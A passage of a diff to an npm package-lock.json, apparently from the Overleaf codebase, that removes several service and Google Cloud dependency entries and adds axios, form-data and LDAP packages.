"https://registry.npmjs.org/send/-/send-0.17.1.tgz", +- "integrity": "sha512-BsVKsiGcQMFwT8UxypobUKyv7irCNRHk1T0G680vk88yf6LBByGcZJOTJCrTP2xVN6yI+XjPJcNuE3V4fT9sAg==", +- "dependencies": { +- "debug": "2.6.9", +- "depd": "~1.1.2", +- "destroy": "~1.0.4", +- "encodeurl": "~1.0.2", +- "escape-html": "~1.0.3", +- "etag": "~1.8.1", +- "fresh": "0.5.2", +- "http-errors": "~1.7.2", +- "mime": "1.6.0", +- "ms": "2.1.1", +- "on-finished": "~2.3.0", +- "range-parser": "~1.2.1", +- "statuses": "~1.5.0" +- }, +- "engines": { +- "node": ">= 0.8.0" +- } +- }, +- "services/templates/node_modules/send/node_modules/ms": { +- "version": "2.1.1", +- "resolved": "https://registry.npmjs.org/ms/-/ms-2.1.1.tgz", +- "integrity": "sha512-tgp+dl5cGk28utYktBsrFqA7HKgrhgPsg6Z/EfhWI4gl1Hwq8B/GmY/0oXZ6nF8hDVesS/FpnYaD/kOWhYQvyg==" +- }, +- "services/templates/node_modules/serve-static": { +- "version": "1.14.1", +- "resolved": "https://registry.npmjs.org/serve-static/-/serve-static-1.14.1.tgz", +- "integrity": "sha512-JMrvUwE54emCYWlTI+hGrGv5I8dEwmco/00EvkzIIsR7MqrHonbD9pO2MOfFnpFntl7ecpZs+3mW+XbQZu9QCg==", +- "dependencies": { +- "encodeurl": "~1.0.2", +- "escape-html": "~1.0.3", +- "parseurl": "~1.3.3", +- "send": "0.17.1" +- }, +- "engines": { +- "node": ">= 0.8.0" +- } +- }, +- "services/templates/node_modules/setprototypeof": { +- "version": "1.1.1", +- "resolved": "https://registry.npmjs.org/setprototypeof/-/setprototypeof-1.1.1.tgz", +- "integrity": "sha512-JvdAWfbXeIGaZ9cILp38HntZSFSo3mWg6xGcJJsd+d4aRMOqauag1C63dJfDw7OaMYwEbHMOxEZ1lqVRYP2OAw==" +- }, +- "services/templates/node_modules/toidentifier": { +- "version": "1.0.0", +- "resolved": "https://registry.npmjs.org/toidentifier/-/toidentifier-1.0.0.tgz", +- "integrity": "sha512-yaOH/Pk/VEhBWWTlhI+qXxDFXlejDGcQipMlyxda9nthulaxLZUNcUqFxokp0vcYnvteJln5FNQDRrxj3YcbVw==", +- "engines": { +- "node": ">=0.6" +- } +- }, +- "services/templates/node_modules/underscore": { +- "version": "1.9.2", +- "resolved": "https://registry.npmjs.org/underscore/-/underscore-1.9.2.tgz", +- "integrity": "sha512-D39qtimx0c1fI3ya1Lnhk3E9nONswSKhnffBI0gME9C99fYOkNi04xs8K6pePLhvl1frbDemkaBQ5ikWllR2HQ==" +- }, +- "services/third-party-datastore": { +- "name": "@overleaf/third-party-datastore", +- "dependencies": { +- "@overleaf/access-token-encryptor": "^2.2.0", +- "@overleaf/logger": "^3.1.0", +- "@overleaf/metrics": "^4.0.0", +- "@overleaf/o-error": "^3.4.0", +- "@overleaf/redis-wrapper": "^2.0.1", +- "@overleaf/settings": "^3.0.0", +- "async": "^3.2.2", +- "body-parser": "^1.19.0", +- "bunyan": "^1.8.15", +- "dropbox": "^10.24.0", +- "express": "^4.17.1", +- "lru-cache": "^4.1.5", +- "mongodb": "^3.6.0", +- "node-fetch": "^2.6.7", +- "p-limit": "^2.3.0", +- "request": "^2.88.2", +- "underscore": "^1.13.1", +- "uuid": "^8.3.2" +- }, +- "devDependencies": { +- "chai": "^4.3.6", +- "chai-as-promised": "^7.1.1", +- "mocha": "^8.4.0", +- "nock": "0.15.2", +- "sandboxed-module": "^2.0.4", +- "sinon": "9.0.1", +- "sinon-chai": "^3.7.0", +- "sinon-stub-promise": "^4.0.0" +- } +- }, +- "services/third-party-datastore/node_modules/diff": { +- "version": "4.0.2", +- "resolved": "https://registry.npmjs.org/diff/-/diff-4.0.2.tgz", +- "integrity": "sha512-58lmxKSA4BNyLz+HHMUzlOEpg09FV+ev6ZMe3vJihgdxzgcwZ8VoEEPmALCZG9LmqfVoNMMKpttIYTVG6uDY7A==", +- "dev": true, +- "engines": { +- "node": ">=0.3.1" +- } +- }, +- "services/third-party-datastore/node_modules/lru-cache": { +- "version": "4.1.5", +- "resolved": "https://registry.npmjs.org/lru-cache/-/lru-cache-4.1.5.tgz", +- "integrity": "sha512-sWZlbEP2OsHNkXrMl5GYk/jKk70MBng6UU4YI/qGDYbgf6YbP4EvmqISbXCoJiRKs+1bSpFHVgQxvJ17F2li5g==", +- "dependencies": { +- "pseudomap": "^1.0.2", +- "yallist": "^2.1.2" +- } +- }, +- "services/third-party-datastore/node_modules/p-limit": { +- "version": "2.3.0", +- "resolved": "https://registry.npmjs.org/p-limit/-/p-limit-2.3.0.tgz", +- "integrity": "sha512-//88mFWSJx8lxCzwdAABTJL2MyWB12+eIY7MDL2SqLmAkeKU9qxRvWuSyTjm3FUmpBEMuFfckAIqEaVGUDxb6w==", +- "dependencies": { +- "p-try": "^2.0.0" +- }, +- "engines": { +- "node": ">=6" +- }, +- "funding": { +- "url": "https://github.com/sponsors/sindresorhus" +- } +- }, +- "services/third-party-datastore/node_modules/sinon": { +- "version": "9.0.1", +- "resolved": "https://registry.npmjs.org/sinon/-/sinon-9.0.1.tgz", +- "integrity": "sha512-iTTyiQo5T94jrOx7X7QLBZyucUJ2WvL9J13+96HMfm2CGoJYbIPqRfl6wgNcqmzk0DI28jeGx5bUTXizkrqBmg==", +- "dev": true, +- "dependencies": { +- "@sinonjs/commons": "^1.7.0", +- "@sinonjs/fake-timers": "^6.0.0", +- "@sinonjs/formatio": "^5.0.1", +- "@sinonjs/samsam": "^5.0.3", +- "diff": "^4.0.2", +- "nise": "^4.0.1", +- "supports-color": "^7.1.0" +- }, +- "funding": { +- "type": "opencollective", +- "url": "https://opencollective.com/sinon" +- } +- }, +- "services/third-party-datastore/node_modules/supports-color": { +- "version": "7.2.0", +- "resolved": "https://registry.npmjs.org/supports-color/-/supports-color-7.2.0.tgz", +- "integrity": "sha512-qpCAvRl9stuOHveKsn7HncJRvv501qIacKzQlO/+Lwxc9+0q2wLyv4Dfvt80/DPn2pqOBsJdDiogXGR9+OvwRw==", +- "dev": true, +- "dependencies": { +- "has-flag": "^4.0.0" +- }, +- "engines": { +- "node": ">=8" +- } +- }, +- "services/third-party-datastore/node_modules/uuid": { +- "version": "8.3.2", +- "resolved": "https://registry.npmjs.org/uuid/-/uuid-8.3.2.tgz", +- "integrity": "sha512-+NYs2QeMWy+GWFOEm9xnn6HCDp0l7QBD7ml8zLUmJ+93Q5NF0NocErnwkTkXVFNiX3/fpC6afS8Dhb/gz7R7eg==", +- "bin": { +- "uuid": "dist/bin/uuid" +- } +- }, +- "services/third-party-datastore/node_modules/yallist": { +- "version": "2.1.2", +- "resolved": "https://registry.npmjs.org/yallist/-/yallist-2.1.2.tgz", +- "integrity": "sha1-HBH5IY8HYImkfdUS+TxmmaaoHVI=" +- }, +- "services/third-party-references": { +- "name": "@overleaf/thirdparty-references", +- "license": "ISC", +- "dependencies": { +- "@overleaf/access-token-encryptor": "^2.2.0", +- "@overleaf/logger": "^3.1.0", +- "@overleaf/metrics": "^4.0.0", +- "@overleaf/o-error": "^3.4.0", +- "@overleaf/settings": "^3.0.0", +- "async": "^3.2.2", +- "body-parser": "^1.19.0", +- "bunyan": "^1.8.15", +- "express": "^4.17.1", +- "lodash": "^4.17.21", +- "lru-cache": "^5.1.1", +- "mongodb": "^3.6.0", +- "oauth": "0.9.15", +- "request": "^2.88.2", +- "simple-oauth2": "^0.6.0" +- }, +- "devDependencies": { +- "chai": "^4.3.6", +- "chai-as-promised": "^7.1.1", +- "mocha": "^8.4.0", +- "sandboxed-module": "2.0.4", +- "sinon": "9.0.2", +- "sinon-chai": "^3.7.0" +- } +- }, +- "services/third-party-references/node_modules/diff": { +- "version": "4.0.2", +- "resolved": "https://registry.npmjs.org/diff/-/diff-4.0.2.tgz", +- "integrity": "sha512-58lmxKSA4BNyLz+HHMUzlOEpg09FV+ev6ZMe3vJihgdxzgcwZ8VoEEPmALCZG9LmqfVoNMMKpttIYTVG6uDY7A==", +- "dev": true, +- "engines": { +- "node": ">=0.3.1" +- } +- }, +- "services/third-party-references/node_modules/sinon": { +- "version": "9.0.2", +- "resolved": "https://registry.npmjs.org/sinon/-/sinon-9.0.2.tgz", +- "integrity": "sha512-0uF8Q/QHkizNUmbK3LRFqx5cpTttEVXudywY9Uwzy8bTfZUhljZ7ARzSxnRHWYWtVTeh4Cw+tTb3iU21FQVO9A==", +- "dev": true, +- "dependencies": { +- "@sinonjs/commons": "^1.7.2", +- "@sinonjs/fake-timers": "^6.0.1", +- "@sinonjs/formatio": "^5.0.1", +- "@sinonjs/samsam": "^5.0.3", +- "diff": "^4.0.2", +- "nise": "^4.0.1", +- "supports-color": "^7.1.0" +- }, +- "funding": { +- "type": "opencollective", +- "url": "https://opencollective.com/sinon" +- } +- }, +- "services/third-party-references/node_modules/supports-color": { +- "version": "7.2.0", +- "resolved": "https://registry.npmjs.org/supports-color/-/supports-color-7.2.0.tgz", +- "integrity": "sha512-qpCAvRl9stuOHveKsn7HncJRvv501qIacKzQlO/+Lwxc9+0q2wLyv4Dfvt80/DPn2pqOBsJdDiogXGR9+OvwRw==", +- "dev": true, +- "dependencies": { +- "has-flag": "^4.0.0" +- }, +- "engines": { +- "node": ">=8" ++ "devDependencies": { ++ "chai": "^4.3.6", ++ "chai-as-promised": "^7.1.1", ++ "mocha": "^8.4.0", ++ "sandboxed-module": "2.0.4", ++ "sinon": "9.0.2", ++ "sinon-chai": "^3.7.0" + } + }, + "services/tpdsworker": { + "name": "@overleaf/tpdsworker", ++ "extraneous": true, + "dependencies": { + "@overleaf/logger": "^3.0.0", + "@overleaf/metrics": "^4.0.0", +@@ -35114,6 +28041,7 @@ + "acorn-walk": "^7.1.1", + "angular-mocks": "~1.8.0", + "autoprefixer": "^9.7.6", ++ "axios": "^1.1.2", + "babel-loader": "^8.2.4", + "babel-plugin-angularjs-annotate": "^0.10.0", + "babel-plugin-macros": "^3.1.0", +@@ -35151,6 +28079,8 @@ + "karma-mocha-reporter": "^2.2.5", + "karma-requirejs": "^1.1.0", + "karma-webpack": "^5.0.0", ++ "ldap-escape": "^2.0.6", ++ "ldapts": "^3.2.4", + "less": "^3.11.1", + "less-loader": "^10.2.0", + "less-plugin-autoprefix": "^2.0.0", +@@ -35277,6 +28207,17 @@ + "url": "https://github.com/sponsors/sindresorhus" + } + }, ++ "services/web/node_modules/axios": { ++ "version": "1.1.2", ++ "resolved": "https://registry.npmjs.org/axios/-/axios-1.1.2.tgz", ++ "integrity": "sha512-bznQyETwElsXl2RK7HLLwb5GPpOLlycxHCtrpDR/4RqqBzjARaOTo3jz4IgtntWUYee7Ne4S8UHd92VCuzPaWA==", ++ "dev": true, ++ "dependencies": { ++ "follow-redirects": "^1.15.0", ++ "form-data": "^4.0.0", ++ "proxy-from-env": "^1.1.0" ++ } ++ }, + "services/web/node_modules/body-parser": { + "version": "1.19.0", + "resolved": "https://registry.npmjs.org/body-parser/-/body-parser-1.19.0.tgz", +@@ -35964,6 +28905,20 @@ + "resolved": "https://registry.npmjs.org/ms/-/ms-2.0.0.tgz", + "integrity": "sha1-VgiurfwAvmwpAd9fmGF4jeDVl8g=" + }, ++ "services/web/node_modules/form-data": { ++ "version": "4.0.0", ++ "resolved": "https://registry.npmjs.org/form-data/-/form-data-4.0.0.tgz", ++ "integrity": "sha512-ETEklSGi5t0QMZuiXoA/Q6vcnxcLQP5vdugSpuAyi6SVGi2clPPp+xgEhuMaHC+zGgn31Kd235W35f7Hykkaww==", ++ "dev": true, ++ "dependencies": { ++ "asynckit": "^0.4.0", ++ "combined-stream": "^1.0.8", ++ "mime-types": "^2.1.12" ++ }, ++ "engines": { ++ "node": ">= 6" ++ } ++ }, + "services/web/node_modules/fs-extra": { + "version": "4.0.3", + "resolved": "https://registry.npmjs.org/fs-extra/-/fs-extra-4.0.3.tgz", +@@ -36915,6 +29870,12 @@ + "node": ">= 8" + } + }, ++ "services/web/node_modules/proxy-from-env": { ++ "version": "1.1.0", ++ "resolved": "https://registry.npmjs.org/proxy-from-env/-/proxy-from-env-1.1.0.tgz", ++ "integrity": "sha512-D+zkORCbA9f1tdWRK0RaCR3GPv50cMxcrz4X8k5LTSUD1Dkw47mKJEZQNunItRTkWwgtaUSo1RVFRIG9ZXiFYg==", ++ "dev": true ++ }, + "services/web/node_modules/qs": { + "version": "6.7.0", + "resolved": "https://registry.npmjs.org/qs/-/qs-6.7.0.tgz", +@@ -37245,12 +30206,8 @@ + "@auth0/thumbprint": { + "version": "0.0.6", + "resolved": "https://registry.npmjs.org/@auth0/thumbprint/-/thumbprint-0.0.6.tgz", +- "integrity": "sha1-yrEGLGwEZizmxZLUgVfsQmiuhRg=" +- }, +- "@auth0/xmldom": { +- "version": "0.1.21", +- "resolved": "https://registry.npmjs.org/@auth0/xmldom/-/xmldom-0.1.21.tgz", +- "integrity": "sha512-//QqjkvBknF7j0Nf205o5wgUMnq8ioHHxEr61OZQ3J0RXGFvs2rb5GLZ8jdNxMqYz4n/PEsbFIQL5RHBixxq5g==" ++ "integrity": "sha1-yrEGLGwEZizmxZLUgVfsQmiuhRg=", ++ "dev": true + }, + "@babel/cli": { + "version": "7.16.8", +@@ -38679,42 +31636,6 @@ + } + } + }, +- "@google-cloud/bigquery": { +- "version": "5.10.0", +- "resolved": "https://registry.npmjs.org/@google-cloud/bigquery/-/bigquery-5.10.0.tgz", +- "integrity": "sha512-kHwPT3O5pihjlhZ4wpNElovv/RY2hyz5MdgON1UlwFM9bVA8kXqdUWS09owjVhHKaHqBxliUpG0DAwjrKHqY7Q==", +- "requires": { +- "@google-cloud/common": "^3.1.0", +- "@google-cloud/paginator": "^3.0.0", +- "@google-cloud/promisify": "^2.0.0", +- "arrify": "^2.0.1", +- "big.js": "^6.0.0", +- "duplexify": "^4.0.0", +- "extend": "^3.0.2", +- "is": "^3.3.0", +- "p-event": "^4.1.0", +- "stream-events": "^1.0.5", +- "uuid": "^8.0.0" +- }, +- "dependencies": { +- "duplexify": { +- "version": "4.1.2", +- "resolved": "https://registry.npmjs.org/duplexify/-/duplexify-4.1.2.tgz", +- "integrity": "sha512-fz3OjcNCHmRP12MJoZMPglx8m4rrFP8rovnk4vT8Fs+aonZoCwGg10dSsQsfP/E62eZcPTMSMP6686fu9Qlqtw==", +- "requires": { +- "end-of-stream": "^1.4.1", +- "inherits": "^2.0.3", +- "readable-stream": "^3.1.1", +- "stream-shift": "^1.0.0" +- } +- }, +- "uuid": { +- "version": "8.3.2", +- "resolved": "https://registry.npmjs.org/uuid/-/uuid-8.3.2.tgz", +- "integrity": "sha512-+NYs2QeMWy+GWFOEm9xnn6HCDp0l7QBD7ml8zLUmJ+93Q5NF0NocErnwkTkXVFNiX3/fpC6afS8Dhb/gz7R7eg==" +- } +- } +- }, + "@google-cloud/common": { + "version": "3.9.0", + "resolved": "https://registry.npmjs.org/@google-cloud/common/-/common-3.9.0.tgz", +@@ -38925,237 +31846,6 @@ + "resolved": "https://registry.npmjs.org/@google-cloud/promisify/-/promisify-2.0.4.tgz", + "integrity": "sha512-j8yRSSqswWi1QqUGKVEKOG03Q7qOoZP6/h2zN2YO+F5h2+DHU0bSrHCK9Y7lo2DI9fBd8qGAw795sf+3Jva4yA==" + }, +- "@google-cloud/storage": { +- "version": "4.7.2", +- "resolved": "https://registry.npmjs.org/@google-cloud/storage/-/storage-4.7.2.tgz", +- "integrity": "sha512-nlXYhJyC6ErFQX34tMLruknJ9fljN3JepgXEC9MZlQ64/2h9Ee8MJ7FCowdBnTiZ863IkbvctWtNZRrSxfyqSQ==", +- "requires": { +- "@google-cloud/common": "^2.1.1", +- "@google-cloud/paginator": "^2.0.0", +- "@google-cloud/promisify": "^1.0.0", +- "arrify": "^2.0.0", +- "compressible": "^2.0.12", +- "concat-stream": "^2.0.0", +- "date-and-time": "^0.14.2", +- "duplexify": "^3.5.0", +- "extend": "^3.0.2", +- "gaxios": "^3.0.0", +- "gcs-resumable-upload": "^2.2.4", +- "hash-stream-validation": "^0.2.2", +- "mime": "^2.2.0", +- "mime-types": "^2.0.8", +- "onetime": "^5.1.0", +- "p-limit": "^2.2.0", +- "pumpify": "^2.0.0", +- "readable-stream": "^3.4.0", +- "snakeize": "^0.1.0", +- "stream-events": "^1.0.1", +- "through2": "^3.0.0", +- "xdg-basedir": "^4.0.0" +- }, +- "dependencies": { +- "@google-cloud/common": { +- "version": "2.4.0", +- "resolved": "https://registry.npmjs.org/@google-cloud/common/-/common-2.4.0.tgz", +- "integrity": "sha512-zWFjBS35eI9leAHhjfeOYlK5Plcuj/77EzstnrJIZbKgF/nkqjcQuGiMCpzCwOfPyUbz8ZaEOYgbHa759AKbjg==", +- "requires": { +- "@google-cloud/projectify": "^1.0.0", +- "@google-cloud/promisify": "^1.0.0", +- "arrify": "^2.0.0", +- "duplexify": "^3.6.0", +- "ent": "^2.2.0", +- "extend": "^3.0.2", +- "google-auth-library": "^5.5.0", +- "retry-request": "^4.0.0", +- "teeny-request": "^6.0.0" +- } +- }, +- "@google-cloud/paginator": { +- "version": "2.0.3", +- "resolved": "https://registry.npmjs.org/@google-cloud/paginator/-/paginator-2.0.3.tgz", +- "integrity": "sha512-kp/pkb2p/p0d8/SKUu4mOq8+HGwF8NPzHWkj+VKrIPQPyMRw8deZtrO/OcSiy9C/7bpfU5Txah5ltUNfPkgEXg==", +- "requires": { +- "arrify": "^2.0.0", +- "extend": "^3.0.2" +- } +- }, +- "@google-cloud/projectify": { +- "version": "1.0.4", +- "resolved": "https://registry.npmjs.org/@google-cloud/projectify/-/projectify-1.0.4.tgz", +- "integrity": "sha512-ZdzQUN02eRsmTKfBj9FDL0KNDIFNjBn/d6tHQmA/+FImH5DO6ZV8E7FzxMgAUiVAUq41RFAkb25p1oHOZ8psfg==" +- }, +- "@google-cloud/promisify": { +- "version": "1.0.4", +- "resolved": "https://registry.npmjs.org/@google-cloud/promisify/-/promisify-1.0.4.tgz", +- "integrity": "sha512-VccZDcOql77obTnFh0TbNED/6ZbbmHDf8UMNnzO1d5g9V0Htfm4k5cllY8P1tJsRKC3zWYGRLaViiupcgVjBoQ==" +- }, +- "date-and-time": { +- "version": "0.14.2", +- "resolved": "https://registry.npmjs.org/date-and-time/-/date-and-time-0.14.2.tgz", +- "integrity": "sha512-EFTCh9zRSEpGPmJaexg7HTuzZHh6cnJj1ui7IGCFNXzd2QdpsNh05Db5TF3xzJm30YN+A8/6xHSuRcQqoc3kFA==" +- }, +- "gcp-metadata": { +- "version": "3.5.0", +- "resolved": "https://registry.npmjs.org/gcp-metadata/-/gcp-metadata-3.5.0.tgz", +- "integrity": "sha512-ZQf+DLZ5aKcRpLzYUyBS3yo3N0JSa82lNDO8rj3nMSlovLcz2riKFBsYgDzeXcv75oo5eqB2lx+B14UvPoCRnA==", +- "requires": { +- "gaxios": "^2.1.0", +- "json-bigint": "^0.3.0" +- }, +- "dependencies": { +- "gaxios": { +- "version": "2.3.4", +- "resolved": "https://registry.npmjs.org/gaxios/-/gaxios-2.3.4.tgz", +- "integrity": "sha512-US8UMj8C5pRnao3Zykc4AAVr+cffoNKRTg9Rsf2GiuZCW69vgJj38VK2PzlPuQU73FZ/nTk9/Av6/JGcE1N9vA==", +- "requires": { +- "abort-controller": "^3.0.0", +- "extend": "^3.0.2", +- "https-proxy-agent": "^5.0.0", +- "is-stream": "^2.0.0", +- "node-fetch": "^2.3.0" +- } +- } +- } +- }, +- "gcs-resumable-upload": { +- "version": "2.3.3", +- "resolved": "https://registry.npmjs.org/gcs-resumable-upload/-/gcs-resumable-upload-2.3.3.tgz", +- "integrity": "sha512-sf896I5CC/1AxeaGfSFg3vKMjUq/r+A3bscmVzZm10CElyRanN0XwPu/MxeIO4LSP+9uF6yKzXvNsaTsMXUG6Q==", +- "requires": { +- "abort-controller": "^3.0.0", +- "configstore": "^5.0.0", +- "gaxios": "^2.0.0", +- "google-auth-library": "^5.0.0", +- "pumpify": "^2.0.0", +- "stream-events": "^1.0.4" +- }, +- "dependencies": { +- "gaxios": { +- "version": "2.3.4", +- "resolved": "https://registry.npmjs.org/gaxios/-/gaxios-2.3.4.tgz", +- "integrity": "sha512-US8UMj8C5pRnao3Zykc4AAVr+cffoNKRTg9Rsf2GiuZCW69vgJj38VK2PzlPuQU73FZ/nTk9/Av6/JGcE1N9vA==", +- "requires": { +- "abort-controller": "^3.0.0", +- "extend": "^3.0.2", +- "https-proxy-agent": "^5.0.0", +- "is-stream": "^2.0.0", +- "node-fetch": "^2.3.0" +- } +- } +- } +- }, +- "google-auth-library": { +- "version": "5.10.1", +- "resolved": "https://registry.npmjs.org/google-auth-library/-/google-auth-library-5.10.1.tgz", +- "integrity": "sha512-rOlaok5vlpV9rSiUu5EpR0vVpc+PhN62oF4RyX/6++DG1VsaulAFEMlDYBLjJDDPI6OcNOCGAKy9UVB/3NIDXg==", +- "requires": { +- "arrify": "^2.0.0", +- "base64-js": "^1.3.0", +- "ecdsa-sig-formatter": "^1.0.11", +- "fast-text-encoding": "^1.0.0", +- "gaxios": "^2.1.0", +- "gcp-metadata": "^3.4.0", +- "gtoken": "^4.1.0", +- "jws": "^4.0.0", +- "lru-cache": "^5.0.0" +- }, +- "dependencies": { +- "gaxios": { +- "version": "2.3.4", +- "resolved": "https://registry.npmjs.org/gaxios/-/gaxios-2.3.4.tgz", +- "integrity": "sha512-US8UMj8C5pRnao3Zykc4AAVr+cffoNKRTg9Rsf2GiuZCW69vgJj38VK2PzlPuQU73FZ/nTk9/Av6/JGcE1N9vA==", +- "requires": { +- "abort-controller": "^3.0.0", +- "extend": "^3.0.2", +- "https-proxy-agent": "^5.0.0", +- "is-stream": "^2.0.0", +- "node-fetch": "^2.3.0" +- } +- } +- } +- }, +- "google-p12-pem": { +- "version": "2.0.5", +- "resolved": "https://registry.npmjs.org/google-p12-pem/-/google-p12-pem-2.0.5.tgz", +- "integrity": "sha512-7RLkxwSsMsYh9wQ5Vb2zRtkAHvqPvfoMGag+nugl1noYO7gf0844Yr9TIFA5NEBMAeVt2Z+Imu7CQMp3oNatzQ==", +- "requires": { +- "node-forge": "^0.10.0" +- } +- }, +- "gtoken": { +- "version": "4.1.4", +- "resolved": "https://registry.npmjs.org/gtoken/-/gtoken-4.1.4.tgz", +- "integrity": "sha512-VxirzD0SWoFUo5p8RDP8Jt2AGyOmyYcT/pOUgDKJCK+iSw0TMqwrVfY37RXTNmoKwrzmDHSk0GMT9FsgVmnVSA==", +- "requires": { +- "gaxios": "^2.1.0", +- "google-p12-pem": "^2.0.0", +- "jws": "^4.0.0", +- "mime": "^2.2.0" +- }, +- "dependencies": { +- "gaxios": { +- "version": "2.3.4", +- "resolved": "https://registry.npmjs.org/gaxios/-/gaxios-2.3.4.tgz", +- "integrity": "sha512-US8UMj8C5pRnao3Zykc4AAVr+cffoNKRTg9Rsf2GiuZCW69vgJj38VK2PzlPuQU73FZ/nTk9/Av6/JGcE1N9vA==", +- "requires": { +- "abort-controller": "^3.0.0", +- "extend": "^3.0.2", +- "https-proxy-agent": "^5.0.0", +- "is-stream": "^2.0.0", +- "node-fetch": "^2.3.0" +- } +- } +- } +- }, +- "json-bigint": { +- "version": "0.3.1", +- "resolved": "https://registry.npmjs.org/json-bigint/-/json-bigint-0.3.1.tgz", +- "integrity": "sha512-DGWnSzmusIreWlEupsUelHrhwmPPE+FiQvg+drKfk2p+bdEYa5mp4PJ8JsCWqae0M2jQNb0HPvnwvf1qOTThzQ==", +- "requires": { +- "bignumber.js": "^9.0.0" +- } +- }, +- "node-forge": { +- "version": "0.10.0", +- "resolved": "https://registry.npmjs.org/node-forge/-/node-forge-0.10.0.tgz", +- "integrity": "sha512-PPmu8eEeG9saEUvI97fm4OYxXVB6bFvyNTyiUOBichBpFG8A1Ljw3bY62+5oOjDEMHRnd0Y7HQ+x7uzxOzC6JA==" +- }, +- "p-limit": { +- "version": "2.3.0", +- "resolved": "https://registry.npmjs.org/p-limit/-/p-limit-2.3.0.tgz", +- "integrity": "sha512-//88mFWSJx8lxCzwdAABTJL2MyWB12+eIY7MDL2SqLmAkeKU9qxRvWuSyTjm3FUmpBEMuFfckAIqEaVGUDxb6w==", +- "requires": { +- "p-try": "^2.0.0" +- } +- }, +- "teeny-request": { +- "version": "6.0.3", +- "resolved": "https://registry.npmjs.org/teeny-request/-/teeny-request-6.0.3.tgz", +- "integrity": "sha512-TZG/dfd2r6yeji19es1cUIwAlVD8y+/svB1kAC2Y0bjEyysrfbO8EZvJBRwIE6WkwmUoB7uvWLwTIhJbMXZ1Dw==", +- "requires": { +- "http-proxy-agent": "^4.0.0", +- "https-proxy-agent": "^5.0.0", +- "node-fetch": "^2.2.0", +- "stream-events": "^1.0.5", +- "uuid": "^7.0.0" +- } +- }, +- "through2": { +- "version": "3.0.2", +- "resolved": "https://registry.npmjs.org/through2/-/through2-3.0.2.tgz", +- "integrity": "sha512-enaDQ4MUyP2W6ZyT6EsMzqBPZaM/avg8iuo+l2d3QCs0J+6RaqkHV/2/lOwDTueBHeJ/2LG9lrLW3d5rWPucuQ==", +- "requires": { +- "inherits": "^2.0.4", +- "readable-stream": "2 || 3" +- } +- }, +- "uuid": { +- "version": "7.0.3", +- "resolved": "https://registry.npmjs.org/uuid/-/uuid-7.0.3.tgz", +- "integrity": "sha512-DPSke0pXhTZgoF/d+WSt2QaKMCFSfx7QegxEWT+JOuHF5aWrKEn0G+ztjuJg/gG8/ItK+rbPCD/yNv8yyih6Cg==" +- } +- } +- }, + "@google-cloud/trace-agent": { + "version": "5.1.6", + "resolved": "https://registry.npmjs.org/@google-cloud/trace-agent/-/trace-agent-5.1.6.tgz", +@@ -39419,64 +32109,6 @@ + "integrity": "sha512-zMM9Ds+SawiUkakS7y94Ymqx+S0ORzpG3frZirN3l+UlXUmSUR7hF4wxCVqW+ei94JzV5kt0uXBcoOEAuiydrw==", + "dev": true + }, +- "@kubernetes/client-node": { +- "version": "0.10.2", +- "resolved": "https://registry.npmjs.org/@kubernetes/client-node/-/client-node-0.10.2.tgz", +- "integrity": "sha512-JvsmxbTwiMqsh9LyuXMzT5HjoENFbB3a/JroJsobuAzkxN162UqAOvg++/AA+ccIMWRR2Qln4FyaOJ0a4eKyXg==", +- "requires": { +- "@types/js-yaml": "^3.12.1", +- "@types/node": "^10.12.0", +- "@types/request": "^2.47.1", +- "@types/underscore": "^1.8.9", +- "@types/ws": "^6.0.1", +- "isomorphic-ws": "^4.0.1", +- "js-yaml": "^3.13.1", +- "json-stream": "^1.0.0", +- "jsonpath-plus": "^0.19.0", +- "request": "^2.88.0", +- "shelljs": "^0.8.2", +- "tslib": "^1.9.3", +- "underscore": "^1.9.1", +- "ws": "^6.1.0" +- }, +- "dependencies": { +- "@types/node": { +- "version": "10.17.60", +- "resolved": "https://registry.npmjs.org/@types/node/-/node-10.17.60.tgz", +- "integrity": "sha512-F0KIgDJfy2nA3zMLmWGKxcH2ZVEtCZXHHdOQs2gSaQ27+lNeEfGxzkIw90aXswATX7AZ33tahPbzy6KAfUreVw==" +- }, +- "argparse": { +- "version": "1.0.10", +- "resolved": "https://registry.npmjs.org/argparse/-/argparse-1.0.10.tgz", +- "integrity": "sha512-o5Roy6tNG4SL/FOkCAN6RzjiakZS25RLYFrcMttJqbdd8BWrnA+fGz57iN5Pb06pvBGvl5gQ0B48dJlslXvoTg==", +- "requires": { +- "sprintf-js": "~1.0.2" +- } +- }, +- "js-yaml": { +- "version": "3.14.1", +- "resolved": "https://registry.npmjs.org/js-yaml/-/js-yaml-3.14.1.tgz", +- "integrity": "sha512-okMH7OXXJ7YrN9Ok3/SXrnu4iX9yOk+25nqX4imS2npuvTYDmo/QEZoqwZkYaIDk3jVvBOTOIEgEhaLOynBS9g==", +- "requires": { +- "argparse": "^1.0.7", +- "esprima": "^4.0.0" +- } +- }, +- "tslib": { +- "version": "1.14.1", +- "resolved": "https://registry.npmjs.org/tslib/-/tslib-1.14.1.tgz", +- "integrity": "sha512-Xni35NKzjgMrwevysHTCArtLDpPvye8zV/0E4EyYn43P7/7qvQwPh9BGkHewbMulVntbigmcT7rdX3BNo9wRJg==" +- }, +- "ws": { +- "version": "6.2.2", +- "resolved": "https://registry.npmjs.org/ws/-/ws-6.2.2.tgz", +- "integrity": "sha512-zmhltoSR8u1cnDsD43TX59mzoMZsLKqUweyYBAIvTngR3shc0W6aOZylZmq/7hqyVxPdi+5Ud2QInblgyE72fw==", +- "requires": { +- "async-limiter": "~1.0.0" +- } +- } +- } +- }, + "@lezer/common": { + "version": "1.0.1", + "resolved": "https://registry.npmjs.org/@lezer/common/-/common-1.0.1.tgz", +@@ -39606,45 +32238,6 @@ + } + } + }, +- "@maxmind/geoip2-node": { +- "version": "3.4.0", +- "resolved": "https://registry.npmjs.org/@maxmind/geoip2-node/-/geoip2-node-3.4.0.tgz", +- "integrity": "sha512-XBB+IJSXQRXXHBvwULZu2nOYAPuC0pc77xw/xkDo0cWkBO/L2rUMr+xKGZwj47mFBEiG6tnTMBzxJajEJTrKAg==", +- "requires": { +- "camelcase-keys": "^7.0.0", +- "ip6addr": "^0.2.5", +- "lodash.set": "^4.3.2", +- "maxmind": "^4.2.0" +- }, +- "dependencies": { +- "camelcase-keys": { +- "version": "7.0.2", +- "resolved": "https://registry.npmjs.org/camelcase-keys/-/camelcase-keys-7.0.2.tgz", +- "integrity": "sha512-Rjs1H+A9R+Ig+4E/9oyB66UC5Mj9Xq3N//vcLf2WzgdTi/3gUu3Z9KoqmlrEG4VuuLK8wJHofxzdQXz/knhiYg==", +- "requires": { +- "camelcase": "^6.3.0", +- "map-obj": "^4.1.0", +- "quick-lru": "^5.1.1", +- "type-fest": "^1.2.1" +- 